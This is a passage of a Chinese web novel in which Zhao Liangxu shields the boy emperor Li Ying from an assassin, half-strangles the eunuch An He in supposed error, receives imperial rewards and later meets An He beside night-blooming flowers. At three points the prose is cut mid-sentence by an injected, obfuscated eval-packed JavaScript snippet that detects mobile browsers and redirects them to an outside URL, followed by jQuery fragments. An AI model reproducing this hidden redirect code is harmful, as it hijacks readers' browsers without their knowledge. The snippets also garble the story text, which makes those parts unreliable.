门口的人没有回应,只是一步步走过来,印在屏风上的影子逐渐清晰,屏风那侧安静的不像话。
李瑛莫名感到害怕:“安公公?你不愿我看话本我就不看了。”
李瑛还想说些什么,赵凉絮却感觉不对劲。
虽然屏风上的影子是太监服饰的外形,可无论如何,安和都不应该站在屏风后沉默不语。
她也没有看到拂尘的影子。
安静得过分的外殿和沉默的影子几乎是翻了明牌。
可这里是皇宫!
九五之尊的居所,应该守卫最森严才是。
李瑛意识到了什么,猛地捂住自己的嘴巴。
但赵凉絮扯了扯他的袖子,向他示意继续说下去。
李瑛如果反常沉默,对方会立刻发难。
李瑛有昏君之相,也从未真正经历过这种场景,但被安和选作皇帝的他绝对不是个彻头彻尾的蠢货。
他尽力冷静,继续说下去。
“安公公,我方才想了想,你说的是对的……”
好在赵凉絮等人离屏风较远,没有清晰的影子能让对面看见,几人小心朝内殿挪去。
“我是得虚心向太傅求学,旁门左道终归有弊端,太傅最智慧不过。”
“安公公你同太傅相熟,你说太傅人虽古板,但确实有大智慧……对,若是太傅能好说话些,就更好了。”
李瑛再努力保持冷静,语气中呼吸的深浅还是染上颤抖,话语间也有些语无伦次。
屏风上的影子始终没什么动静,这让赵凉絮觉得奇怪。
分明越拖延,越对他不利。
这样的情景,对方难道不该第一时间暴起吗?
刚才在殿内伺候的一个太监因太过紧张,不小心碰上了摆着青瓷的架子。
青瓷落在地上,散落一片刺耳的声音。
锋利的瓷片落在赵凉絮脚边,划破了她的衣衫。
与此同时,刀剑撕开布帛的声音一同传来。
几人紧张至极的弦终于崩断了。
太监尖利恐惧的声音传出殿外。
“有刺客!!”
15. 报复
赵凉絮嘶了一声,僵局已破,随着而来的是更遭的局面。
剑上寒光遏制住了一个太监的叫喊,那名太监离刺客最近,鲜血溅了满室。
李瑛被太监的叫喊和鲜血刺激到,也控制不住地大喊:“来人呐,有刺客!有刺客!”
赵凉絮来不及思考,将手边最近的东西朝刺客掷去,身边能推翻的架子尽力推倒,以期稍稍止住对方的脚步。
她卷走一片较大的瓷片握在手中,另一只手则紧拽着李瑛的衣领,把惊吓过度的李瑛往内殿拖。
撞倒青瓷的太监瘫坐在地,手脚并用地朝内殿爬。
他已落到最后,但赵凉絮没空管他。
她将李瑛拖进内殿,捂住他的嘴摇头。
李瑛眼里已经吓得含了泪光,自己用宽大的衣袖捂住嘴,忙不迭地点头。
点头间再也遏制不住眼泪。
内殿有多个房间,刺客也一时不能分辨赵凉絮两人躲在了哪个房间。
赵凉絮先是跑到了装着皇帝朝服的衣柜,打开后李瑛便想钻进去,但赵凉絮制止了他。
李瑛不解,赵凉絮什么也没说,只是将衣柜内的衣服扯出半件卡在柜门处,柜门露出一条小缝。
而后赵凉絮拉着李瑛躲在了房间内一人高的香炉后边。
香炉宽大,倒是能刚好遮住两人身影。
李瑛窝在那里,低着头抽泣。
已经有侍卫发现了刺客,和侍卫打斗在一起。
有人在打斗中受了伤惊呼,还有落在后边的太监尖叫,乱哄哄的声音混在一起,嘈杂不堪。
赵凉絮拍了李瑛一下,吓得他浑身一抖。
赵凉絮用低到几乎没有的声音对他说:“这瓷片你拿着防身,一会若是有人来了,你将他绊倒,我来制住他。”
赵凉絮抽下腰间系着的腰带,试了试韧性,又将外袍脱下来,叠上一叠。
外袍可以蒙住刺客的脸,腰带可以勒住他的脖子。
李瑛有些呆呆地望着赵凉絮,这样的方法真的有用吗?
赵凉絮察觉出李瑛的迟疑:“这是迫不得已的方法,总好过什么方法都没有不是吗?一会我制住了他,你只管往他身上要害处扎。”
赵凉絮脸上没有丝毫惧色,眉间染上凛意。
李瑛又抖了抖,却不自觉靠近赵凉絮,抓紧了她的袖子。
赵凉絮只觉得她自己倒霉至极,穿过来的时候是那样一副场景,如今身体还没养好,又被迫参与一场刺杀,她是被连带的那个。
这次刺杀突如其来,也疑点重重,刺客挑在了她在宫中和李瑛共处的时候,安和又恰好不在。
很容易让人怀疑是安和作祟。
但是这不可能。
无论是谁都不可能是安和,因为李瑛一旦死去,安和若想继续当他的九千岁,只能在极短时间内再扶上一个皇帝,这分明对他来说是吃力不讨好的事情。
从相反的角度来看,这场刺杀或许恰恰是针对安和。
陛下受伤,他难辞其咎。
陛下暴毙,他若有充足准备,或许能再控制一个亲王登上皇位,否则,朝中大臣必定会群起而攻之,借着这个空挡有异心的抓住时机,看安和不顺眼的也会光速将他治罪。
所以此次刺杀会是针对安和的吗?
那么始作俑者是谁?
朝中大臣?还是......
赵凉絮脑中闪过许多可能性,可她几乎对朝廷一无所知,再多的猜测也只是猜测。
外边渐渐安静下来,没有侍卫进来,也无人呼叫李瑛。
宫殿内又变得悄无声息了。
“是刺客被制服了吗?”
李瑛小声问道。
赵凉絮并不知道,但是最好先不要出去的好。
谁知道到底有几个刺客。
赵凉絮和李瑛继续躲着,外殿却忽然传来脚步声。
李瑛瞪大眼睛看了赵凉絮一眼,紧张地咽了咽口水。
脚步声绕过那些刻意被推翻的摆件,踢走了散落一地的瓷片。
瓷片与地面敲出清脆的声音,也敲得李瑛的心紧张起来。
赵凉絮攥着腰带的手紧了紧。
脚步声走过几个房间,终究是走到了两人藏身的房间。
脚步声清晰多了,听声音,是个男人。
靴子和地面的接触声越来越清晰,他停在了赵凉絮刻意摆出的衣柜前。
吱呀一声,衣柜被打开了。
脚步声的主人发出了一声轻笑。
他又开始探查这个房间。
赵凉絮朝李瑛点了点头,当这个人走过香炉时,李瑛忽然伸出手绊了他一下。
这人显然没想到会有人绊他,一时趔趄,衣袍摆动。
赵凉絮眼中映出了熟悉的暗红色蟒袍。
哦?很熟悉。
那又怎样。
赵凉絮并没有选择停下,而是手快将外袍甩到该人脸上,将腰带狠狠勒在了他的脖子上。
腰带虽说是腰带,但并不像现代人用的皮革,而是布条制成的,柔软的布条遏制住了人的呼吸。
手中的人不自觉挣扎起来,痛苦让他连着赵凉絮一同甩在了地上。
他胡乱将脸上的外袍扒开,手上无力,只露出半张过分白的脸,痛苦地挤出几个字:“是......我。”
李瑛本准备扑出去将瓷片扎在对方身上,却在看到地上眼熟的暗红色蟒袍时傻了眼。
李瑛嗫喏,缓过神来大着舌头磕磕绊绊地喊:“赵、赵凉絮,他是安公公,是安公公!”
赵凉絮这才将手上力气一松,吐了口气惊讶说道:“原来是安公公。”
安和坐起身来,一只手撑着地面,一只手摸着脖子,大口呼吸着空气。
他咳了好几下,终于缓了过来。
听到赵凉絮虚伪的声音,他哪里不知道赵凉絮是故意的。
他抬起头看向赵凉絮那副浮夸的惊讶表情,通红的眼睛还带着刚刚勒出来的泪,他咬牙切齿地说道:“赵凉絮!你是故意的!”
刚刚被勒的那么紧,他嗓子更哑了,他压着火气质问:“赵凉絮,你是不是想死?”
赵凉絮诚实的摇摇头,好心将安和扶起来。
“安公公,我真不知道是你。”
才怪。
她看到衣服就知道是他了,但是有机会报前几日掐脖子之仇,为什么不报呢?总得让他也尝尝这个滋味。
赵凉絮脸上带着歉意的笑,落在安和眼里是赤裸裸的挑衅。
安和甩开赵凉絮的手,他是真想下令把赵凉絮杀了。
一旁的李瑛一直没说话,这时却说了一句:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042313|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“安公公,赵凉絮她也算救驾心切,要不就算了?”
安和猛地扭头看向李瑛,李瑛噌地躲在赵凉絮身后,手又不自觉抓上了赵凉絮的袖子。
他被刚刚的刺客吓怕了,此时最相信赵凉絮。
安和觉得真是活见鬼了。
他盯着眼前这两个人,脸上阴沉的仿佛要滴出水。
他眯了眯眸子,忽然鼓起掌来。
“呵呵,赵凉絮,你真是有本事。”
他拍了拍身上的灰尘,刺了赵凉絮一句,却终究没再追究。
赵凉絮在心里不由得为安和的忍耐力竖起大拇指。
他忍着情绪朝李瑛说:“陛下,刺客已经活捉,您受惊了,奴带着您去偏殿休息。”
李瑛抓着赵凉絮的袖子不放。
“呵,赵凉絮......自然也跟着您去,走吧。”
几人走到殿外,立刻有候着的宫女和太监围上来。
张盛发现安和脖子上的勒痕,惊讶问道:“干爹这是......”
安和摆摆手,只说无事。
一个老太监忽然跪下“哎呦”的哭:“陛下,是老奴护驾不周,叫陛下受惊了,奴才该死,奴才该死啊。”
老太监往脸上打了两个声响不俗的巴掌,又嗷呜嗷呜的哭。
“陛下,叫老奴伺候您赎罪吧。”
“王公公,看不见陛下身边的红人儿吗?你往陛下跟前凑什么热闹。”
安和往前一步,拦住了王福。
王福抬头眯缝着眼,看见李瑛身边的赵凉絮。
王福是从先帝起就在御前的太监,一贯会说漂亮话,很会捧着李瑛。
“你是该赎罪,咱家本以为你忠心,平时做事也周全,平日都叫你近身伺候陛下,但今日刺客一事却是你手下的人放进来的,王公公先跟咱家解释清楚再谈之后的事吧。”
王福也算是个有头有脸的太监,平日里自己不当差的时候也会叫几个亲近的小宦官在御前。
可谁知他手底下竟然出现了这种害虫,他有八百个脑袋也不够掉的。
要是让安和带走,他掉脑袋前也得先尝尽了苦头,恐怕生不如死啊。
他本想叫陛下求求情,可今日陛下显然受了惊吓,只呆在那个赵凉絮旁边,旁的话一贯不理。
情急之下,他朝安和哀嚎:“九千岁哎,九千岁饶了我吧,我真的不知此事。”
九千岁。
京城大内谁人不知安和如今威势,大家也都私下叫惯了九千岁。
可奉承安和时这样叫,在宫外这样叫都没问题,如今在正统的万岁面前这样叫,疯了不成?
一时之间众人安静极了。
王福也知道自己口不择言,还想补救点什么,却被人捂住了嘴押走了。
安和环视了一圈,宫人们都低下头不敢直视,他冷着脸吩咐宫人:“王福说了疯话,大家别被疯话迷了心智,只当耳旁风听了,听懂了吗?”
周围一片应承。
李瑛并没任何表示,但安和还是在李瑛身边陪同着解释:“陛下,方才是王福的疯话,您莫要往心里去,咱陪您到偏殿休息吧。”
李瑛点了点头。
到了偏殿后,其他人都在忙前忙后,拿了干净衣衫和热水伺候李瑛沐浴,赵凉絮和安和则在偏殿另一处候着。
16. 宽容
因刺客这一档子事折腾了许久,如今天已渐暗。
两人坐在角落处,谁都没想说话。
安和还记着方才的事,赵凉絮假借陛下遇袭来报复他,刚刚手上可是一分情面没留,他自然懒得理她。
能留她一命,充其量不过她还有用,但他心中的火还憋着,只准备利用完赵凉絮后就将她了结,一刻也不能等。
赵凉絮不知安和心中所想,她看了看天色想起了竹木,率先打破沉默。
“安公公,今日还回去吗?”
她本应该下午就回去,也早就给竹木递了话叫她别担心,只是看着天色和安和的脾性,今晚恐怕也出不了宫。
“回去?咱家还没回你就想着回去?宫门刚下钥,陛下现在离不得你,你今晚就在宫里哪都不许去。”
安和一开口便是阴阳怪气,满嘴火药味。
“可是我睡在哪里,难道陛下睡着的时候我还要守着他吗?”
赵凉絮为自己的睡觉权利据理力争。
“皇宫有这么多床褥,拿来一床铺在地上就能睡。”
李瑛沐浴完连头发都没擦净就出来,听到赵凉絮的疑问赶紧回答。
说罢,他又觉得让救命恩人睡在地上不妥,考虑了一下勉强说道:“朕可以睡在地上,让赵凉絮睡在床上。”
安和没想到李瑛竟然信服赵凉絮至此,明明他出去之前李瑛还一副仇视赵凉絮的样子。
“陛下,这可万万不妥,您贵为天子怎么能睡在地上,给她拿一床被褥都算恩典了,她怎么能越过您去呢?”
安和拉着赵凉絮到殿外,沉着声音问:“你给陛下灌什么迷魂汤了,他对你的态度转变这么大?”
安和眼睛里满是怀疑,他甚至都觉得赵凉絮是不是背着他给李瑛吃什么脏东西了。
赵凉絮一脸无语。
她上哪找什么迷魂药去。
李瑛再嚣张也不过是个十岁的小孩,见到刺客行刺他比谁都害怕。
她亲手带着李瑛活了下来,他不信自己信谁?
赵凉絮诚实地解释给安和听。
只不过她没说的是,她也是有意护着李瑛。
李瑛虽没什么实权,但明面上皇帝该有的东西都一个不落,安和还是在大臣面前尊着他,要考虑李瑛的情绪和要求。
让李瑛能够对自己改观,甚至亲近自己,实在遇到什么困难的境地了,或许能指望的上他。
她也很幸运,李瑛不光对她改观了,现在更是信她信的要把心刨出来了。
安和仍是怀疑地打量着赵凉絮,又听到李瑛在殿里喊“安公公、赵凉絮”,他只好暂且放下这件事,却也基本信了赵凉絮的说辞。
只又习惯性扔几句警告给赵凉絮听。
毕竟李瑛这样依赖着他,也是因为当年他从太后手里将李瑛捞了出来。
虽说他是因利益考量才选了李瑛......
但现在李瑛又多了个紧抓着不放的人。
安和抬步往殿里走,赵凉絮想起太傅,刚才没见到太傅模样的身影,难不成安和赶路到一半听见行刺,又匆匆赶了回来?
可真是个大忙人。
她在这边殿内忙着躲刺客,恐怕他那边也连连骂人急着往回赶吧。
想到这赵凉絮莫名想笑,但还是控制住自己,只眼角没掩住几分笑意。
虽然今日这样惊险,可......
还是很好啊,她多了这样奇妙刺激的经历,还能好好打算明日干什么、后日干什么,比她守着绝症数日子可好太多了。
安和瞥见赵凉絮弯起的眉眼,微卷的睫毛在脸上留下一小片阴影,半遮半掩住了浅色的眼眸,他一时愣住。
赵凉絮的皮相是极好的,就算曾经她品行为京中贵人所嗤笑,但京城中的人都不得不承认,这样一张脸确实是花容月貌。
此时那双总含着些淡漠疏离的眼却染上一抹悦色。
莫不是今日被吓痴了,竟然还在笑。
安和顿了片刻。
仔细想想确实是。
她经历了这么一遭,如果刺客多一两名,在李瑛身边的她绝对逃不过,换句话说她今日是死里逃生,这样经历过后自己还骂她几句确实显得不近人情。
可她白日都想故意勒死自己,他还没真罚她呢,难道骂几句都不成了?
安和摸了摸自己脖子上的伤痕,勒青了的伤痕压上去微微刺痛。
算了算了,反正赵凉絮到底是会死在自己手上的,那他这个不久后的凶手如今善待她一两分也影响不了大局。
左不过是多给些好吃好喝的罢了。
安和压下心中那几分莫名其妙的情绪,这情绪来的快去的也快,安和则归咎于自己忙累了头脑有些晕。
他看向身后的赵凉絮,总归是没再说些风凉话。
而偏殿内虽铺上了一床新的被褥,赵凉絮却根本来不及躺下睡。
因为一整晚李瑛都没合眼。
他躺在床上隔个半盏茶的时间就要确认赵凉絮和安和是否还在,李瑛幽幽的声音时不时响在偏殿内,若赵凉絮一时没有及时回复,李瑛便“噌”一下坐起身来确认。
直到天微微亮时李瑛扛不住终于睡了。
而赵凉絮已经给自己灌了好几壶茶,多亏皇家的茶品质优良,她才能保持清醒。
赵凉絮打了个哈欠,几乎下一秒就能睡着。
“赵凉絮。”
她的头刚要磕在桌子上的时候,安和把她惊醒。
赵凉絮眼下挂着乌青,眯着眼睛抬头看安和,发出了迷迷糊糊的一声“嗯?”。
“可以出宫回去了。”
安和又给自己倒了一杯茶。
他也得喝杯茶醒醒神。
赵凉絮听到自己终于可以回去了,精神一下子抖擞起来。
她看了眼刚睡着的李瑛,表示疑问:“他醒了之后不会吵着要找我俩吗?”
什么你俩我俩的,听着像是将他和赵凉絮绑在了一起。
安和心里怪怪的,嘴上回复:“会,但有其他人伺候陛下,她们会解释清楚的。”
既然如此,赵凉絮也不担心了。
至于怎么跟醒来的李瑛解释,轮不到她来操心。
赵凉絮站起身来伸了个懒腰,催促道:“那我们赶紧回去吧,我要困死了。”
安和犹疑,他刚刚说话很温柔吗?
他看起来很好说话吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042314|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那赵凉絮怎么敢催自己。
她语气中一点没把安和当九千岁,随意的样子倒像是在家里。
安和想着昨晚刚决定给赵凉絮些不错的临终关怀,一时没有计较。
他们循着前几日来时的路走到了宫门处,张盛正在那里候着。
他看见赵凉絮时还有些惊讶。
“干爹,赵公主也要回去吗?”
他还以为干爹会将赵凉絮留在陛下身边,昨天陛下一刻离不开赵凉絮,他们这群人可是看的清清楚楚。
安和哼了一声算是肯定:“那就委屈赵公主与咱家同乘一辆马车吧。”
赵凉絮一路走过来只觉得又累又困,没力气推脱什么,爬上了马车。
两个人就这样规规矩矩地坐在马车里,面面相觑。
刚坐上马车赵凉絮才意识到自己跟这位几千岁在这样逼仄的空间里两两相望。
略有些尴尬。
赵凉絮想着缓解一下尴尬,强打精神开始胡乱找话题。
“安公公,这马车是你常用的吗,上次来我坐的不是这辆。”
“呵,你多大脸,还能给你用咱家的马车。”
安和一滞,平时里刺赵凉絮刺顺嘴了,他也是精神有些疲乏,直接赵凉絮说什么他就回怼什么。
“不给用今天也是体验上了。”
赵凉絮已经对安和的话有了很大的免疫,她的注意力转到马车的装饰上。
她摸着马车的车壁,是用上好的木头做的,木香清幽。
“安公公的马车做工很是不错啊,这坐垫也柔软至极,比前几天坐过的马车舒适多了。”
赵凉絮四处打量,连连点评。
“就你话多。”
安和还是没忍住,阴阳回去。
结果许久没再听到回话,抬头一看,赵凉絮已经靠着墙睡着了。
她睡得倒是快。
这时候的赵凉絮很是安静。
其实平日里赵凉絮话也不多,这个年纪的姑娘许多都已出嫁,无论是出嫁前的年轻姑娘还是出嫁后已为夫人,南周的大多数女子都是恬静的,受着许多约束,时时要守礼。
曾经宫里的妃子也大多如此。
可赵凉絮与他们最大的不同便是,性子里少了一份规矩,对规矩不太上心,少了些对尊卑的敬畏。
这并非好事,失了敬畏就容易出事,京城宫中多是权贵,人自然得懂得规矩。
赵凉絮的眼神往往是淡漠的,仿若对一些事都没什么大的情绪,可她总有些奇思妙想,说话也掩不住随意,倒是时不时透出一丝生气。
他也是觉得好笑,按理说他如今的身份,是不大有机会碰到这样的人的。
可偏让他遇见了。
还扰的他三天两头生气。
常人在他面前总是带着恐惧和拘束。
赵凉絮同他说话时,眼里有谨慎,但很少有恐惧。
安和一时胡思乱想,这些思绪在他脑子里一条一条出来,正好能帮他清醒。
他觉得若是赵凉絮不胡来,他也是能在赵凉絮用处用尽前,多让她保持些无畏的生气的。
她是个有趣的人。
仅限如此。
17. 昙花
赵凉絮醒来时觉得浑身舒爽极了,她好久没睡过这么沉这么舒服的觉了。
果然,人的快乐在先苦后甜的作用下显得格外明显。
赵凉絮揉了揉眼睛,坐了起来。
嗯?
她已经回到了安府的小院里。
赵凉絮揉着额头回想,这才想起来她被安和送回来之后,安和将她叫醒,她则是半睡半醒间被守在门口的竹木接了回去。
她偏头看向窗户,外边的天虽然还亮着,太阳已经移到西边去了。
她睡了整个白天。
好阴间的作息。
竹木推门进来便发现赵凉絮已经醒了过来,她惊喜地扑到赵凉絮身上开始念叨:“赵公主您终于醒了!您是不是在宫里受委屈了,奴婢见您一直睡也不敢叫您,可睡了得有一天了,奴婢担心死了,实在忍不住又来看看,您终于醒了!”
竹木担忧地看看赵凉絮身上,没添什么大的伤痕,倒还好。
她发觉自己有些僭越,刚想站起身来,赵凉絮一把把她拉住,然后将她按到床上坐着。
竹木绞着手指有些紧张:“这可以吗?”
“好了好了,没那么多规矩,你接着说,我在听。”
听到这话,竹木转眼间又哭丧起脸:“奴婢真怕您回不来了,不是只说去面圣,您在宫里待了好几日不见出来,奴婢也不知道出了什么事,真怕......真怕......”
说到这,竹木又拍了拍自己不中用的嘴:“您回来实在是太好了——但”
她有些犹豫,但还是问道:“只是不知道,您到底在宫里出了什么事?”
她小心翼翼地看着赵凉絮的神情,有些担心,有些害怕。
赵凉絮拍了拍她,直接告诉了她宫里发生的事。
反正这事是瞒不住的。
从见了太后到住在太妃娘娘那,再到李瑛遇刺,竹木听得一惊一乍,最后拍了拍胸口:“竟然这么危险,幸好您无事,太妃娘娘也这样善良,公主,您别怕,经过了这些事后边的日子会更好的!”
竹木听了这些事后坚定地给赵凉絮打气,也不知是在激励赵凉絮还是激励自己。
“对了公主,今天府中忽然变了脸,府中的厨房亲自送来了午食,还是些味道可口的,也不知是为何待我们那么好。”
哦?这倒是稀奇。
没进宫前还是府中有顿吃的便好,现在都亲自来送了,不知其中有何缘故。
“我见您还睡着就暂且放着了,现已是秋天想着放不坏,只是到底还是凉的不好,要不奴婢再去找他们要一份?”
“没事,先放着吧,他们中午来送一次,兴许晚上还会再来一次,到时候你将凉的饭菜给他们就行。”
她现在刚睡醒还不太饿。
她开始思考自己怎么消磨晚上,白天睡了一整天,晚上恐怕是想睡都睡不着。
“对了公主,我见您回来时还拿着东西,这是什么?是什么贵重东西吗?”
竹木指着桌子上的木盒问道。
赵凉絮这才想起来:“那是太妃娘娘给我的药,宫中的女医又替我看了看身体,说是这病不太容易好,需要内服外敷。”
之前的外伤几乎都结了痂,等着慢慢好就行。
主要是身体根基的病,北周人普遍身强体壮,可架不住逃荒饥一顿饱一顿的损耗,她想好好养好身体,把身体养的健健康康的。
“外敷?那奴婢替您敷吧。”
赵凉絮委婉地拒绝了并表明药敷之处在何处。
竹木有些羞赧。
她红了个大脸,不知道说些什么。
这时赵凉絮听到外边闹哄哄的不知为何,拉着红脸的竹木出去看。
才见张盛穿着正式的蟒袍,指挥着人一箱一箱地搬东西。
“张公公,这是?”
张盛周到地行礼,回道:“这是陛下的赏赐,您救驾有功,陛下说这些都不足以表达他的感激之情呐。”
原来是赏赐。
赵凉絮看着下人们搬着颇有分量的赏赐,她数了数,到人膝盖高的箱子摆了十五箱,从未经历过奢靡皇权的赵凉絮今日也算是开了眼,她有些不确定地问:“这么多吗?”
张盛笑了:“嗐,您这说的,您救驾的功劳,只怕这些东西再翻一倍也不止啊。”
说着,他又从袖子里掏出个做工精良的白色物件,恭恭敬敬地递给赵凉絮:“赵公主,这是陛下特赐您的通行牙牌,有了这个,您什么时候入宫都没人拦您。”
这么大手笔?
赵凉絮接了过来,这牙牌由象牙雕刻而成,上边雕着些祥云样式,祥云间又镶了金闪闪的黄金,其余则是一些字样,看着好贵重。
这般明晃晃地带出去,只怕太惹眼了。
赵凉絮翻看两眼就收下了,礼貌回礼:“多谢张公公了。”
她又扫向一旁的赏赐,有些烦恼道:“只是这么多赏赐,这小院可能装不下?”
张盛笑着将赵凉絮引到宝箱面前,而后拍拍手让下人将所有箱子打开:“好说好说,此事干爹也有安排,这赏赐中有真金白银也有瓷器瑚珠,干爹吩咐说赵公主先捡上两三箱中意的,其余的干爹已另腾出一小间库房,若赵公主有取用再去拿便好。”
捡出两三箱?其余的放进库房?
赵凉絮已提取出句中关键,再看张盛两手交叠着,也没有要再拿出东西的意思,她算是明白了。
这是要将东西昧下了。
虽说两三箱东西也不少了,可十五箱赏赐分明本应该是她的。
好哇安和。
赵凉絮先让竹木自己捡着喜欢的挑,然后状似不经意地问起:“安公公可是不准备将剩下的给我了?”
她拿起一颗透亮的夜明珠,一边摩挲着,一边似笑非笑地朝张盛看去。
张盛脸上还挂着笑,心里却有些叫苦。
“哪里会呢,干爹说了,等他这几日将事忙完,赵公主可自去寻干爹,干爹定将小库房的钥匙备好。”
还自去寻他?
想来安和是打定主意昧下了。
赵凉絮琢磨着,倒是没刻意难为张盛,先挑了三箱东西,剩下的就让张盛又运走了。
剩下的十二箱,她还是要想办法拿回来的。
竹木单是绕着留下的这三箱东西就已经笑开了花。
“公主,这样多好东西,陛下对你可大方。”
虽然她也可惜被拿走的那些,但眼前这些也有十足的分量了。
赵凉絮和竹木则就着这些珠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042315|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光宝气吃了晚饭。
现在她吃的好睡得好还有了小金库,穿越来了半个月,就这些方面也算是半个人生赢家了。
但是不太够,她现在住在安府就是最大的隐患。
安和留着她有用,焉知利用完她之后会怎么样。
手头的钱足够她在外置办间房子,可安和是“九千岁”,如果在京城中,那她和住在安府几乎没什么区别。
至于去别的省份,也路途遥远,不是一日之计。
那她只好从根本上下功夫。
多研究研究安和。
她又想起太妃不愿提起的安和过往,她真是有些感兴趣。
赵凉絮吃了晚饭,难得有时间躺在院子里的躺椅上看看星星,吹吹晚风。
秋日的晚风很是凉爽。
赵凉絮躺了会,享受了会清闲夜晚,又觉得实在是睡不着,她取了盏灯笼,准备在安府里逛逛。
事实上现在的时间放在现代并不晚,很多人才刚刚开始夜生活,但放在古代几乎就是该睡觉的时候了。
安府里有些房间还亮着,她路上也碰到了几个路过的小厮和婢女。
对方皆是一惊,行了礼后便匆匆离去。
也不知是不是大部分人都睡了的缘故,偌大的安府显得没什么人气。
赵凉絮倒是自得,她更喜欢安静的环境。
说起她对安府的印象,往日里她都是晚上去安和的书房,如今看来,她对夜晚的安府显得更加轻车熟路一些。
毕竟白天和夜晚的同一个地方往往是截然不同的光景。
赵凉絮闲逛来闲逛去,也没有人来拦她。
竟叫她不自觉走到了安和书房附近,赵凉絮记得清楚,安和的书房再朝右走一会便到。
张盛下午告诉她近日也不用找安和习字,安和正忙着。
她提着灯笼向左转,免得走到书房那又叫他污蔑自己是细作。
她走走停停到了一处荷花池。
这时的荷花大多凋敝了,只剩几朵花又黄又粉地苦苦支撑着。
吸引她的并非荷花,而是荷花池旁占地不小的一处昙花团。
快要十月底了,险些过了昙花开花的尾巴。
没想到安和还有这般雅致,在这块儿种上了昙花。
赵凉絮心里嘀咕着,才发觉前边有道人影。
他背对着赵凉絮,暂时没发现她,赵凉絮倒是看的清楚。
这个背影不就是安和吗?
溜了溜了。
她悄声往后边退,真没想到安和不在宫里也不在书房,反而大半夜在这赏花。
她本想看看昙花如何慢慢绽放的,但也不是非要看。
想到安和那张毒嘴,她虽有些免疫,但谁喜欢听人吐刀子?
安和这时恰好转过身来,正正好撞见了正往回走的赵凉絮。
“谁!”
他看到身影第一时间以为是什么刺客,也是被陛下行刺影响到了。
可看到那人提着灯笼,穿着打扮也不像是刺客。
他借着灯笼的光往上一瞧,竟然是赵凉絮。
这真是荒唐了,赵凉絮在安府也是视若无人般横着走了,这个时间点拿着灯笼出来闲逛。
“赵凉絮,你过来。”
18. 摔倒
安和的声音从赵凉絮背后幽幽传过来,赵凉絮只得转身。
算了,这也算个好时机。
没准聊开心了他就透露点什么。
对她的打算正好有帮助。
赵凉絮走到他身边,保持了一个比较合适的距离。
安和注意到赵凉絮刻意拉开的距离,神色不悦。
是因为他是个太监,所以刻意这样?
“你离那么远干什么,咱家有那么可怕?”
赵凉絮松松肩膀,抻着身子说道:“可别污蔑我,我是怕你离你近了,你又觉得我要对你不利。”
她环视四周,问道:“你赏花就这么干站着吗?这里没什么坐的地方?”
安和这个太监不光尖酸刻薄,人也是怪,谁家赏花是在这里站着赏。
赵凉絮扫了一圈,实在是没看到可以坐的地方,索性将灯笼放在一边,直接席地而坐。
安和平日也就是偶尔来这里看一眼,站上一会儿也就走了,哪里有闲心再放个专门赏花的座位。
他看着赵凉絮一点不拘束的样子,只觉得好笑。
看她这副模样,总觉得自己是什么很好说话的人似的。
赵凉絮见安和还站着,他低头望着她,只有眼睛在夜里亮一些。
有些瘆得慌。
她像第一次在书房那样,拽了拽安和的衣袖:“安公公不如也坐?”
安和本想在这看一会儿就走,结果来了赵凉絮,他也没想,直接就将赵凉絮叫了过来。
好像也没什么话可说。
但他还是鬼使神差地顺势坐了下来,跟在书房那次一样。
赵凉絮鼻子哼笑一声,开了个话题:“安公公是喜欢昙花吗?”
她看着眼前白色的昙花,在月光沐浴下静静发亮,一些已经开到一半了,一些还抱着团。
绽放于月色的花,颜色也是如霜般冷冷的白。
昙花的花语是刹那间的美丽、一瞬间的永恒。
让她想到曾经看过的一个神话爱情故事。
赵凉絮一边近距离观察昙花慢悠悠地绽放,一边提起这个故事:“安公公喜欢这种花吗?我曾看过一个故事,昙花原本是花神,爱上一个整日为她浇水的小仙童,因此被贬进凡间,小仙童也远去出家更名韦陀,被抹去了记忆,只可怜昙花日日在韦陀经过时绽放,韦陀却不曾记得。”
“后来昙花在帮助下让韦陀想起这段过往,了却了此段情缘。昙花一现为韦陀,情深不悔是婆娑。是个好生凄美的爱情故事呢。”
赵凉絮又靠近了些,手指触上花瓣,试着闻花香。
她偏头看向安和,打趣道:“难道安公公也喜欢这样昙花一现的凄美吗?安公公若喜欢昙花的话,想必也觉得刚刚那个故事美吧?”
安和知道这个故事,韦陀花的别称便由此而来。
只是他并不对这样的爱情故事感兴趣。
他也并非多喜欢昙花,只是昙花这种,短暂刹那的存在,叫他有些同感。
太监是很少有善终的。
终有一日,或是朝臣终于抓住他的把柄,或是皇帝长大后也知晓了他的危害,左不过朝堂之上很难容下他的。
历史上显赫一时的太监,总是无法急流勇退。
他们太喜欢权势,也立下太多敌人。
他也不例外。
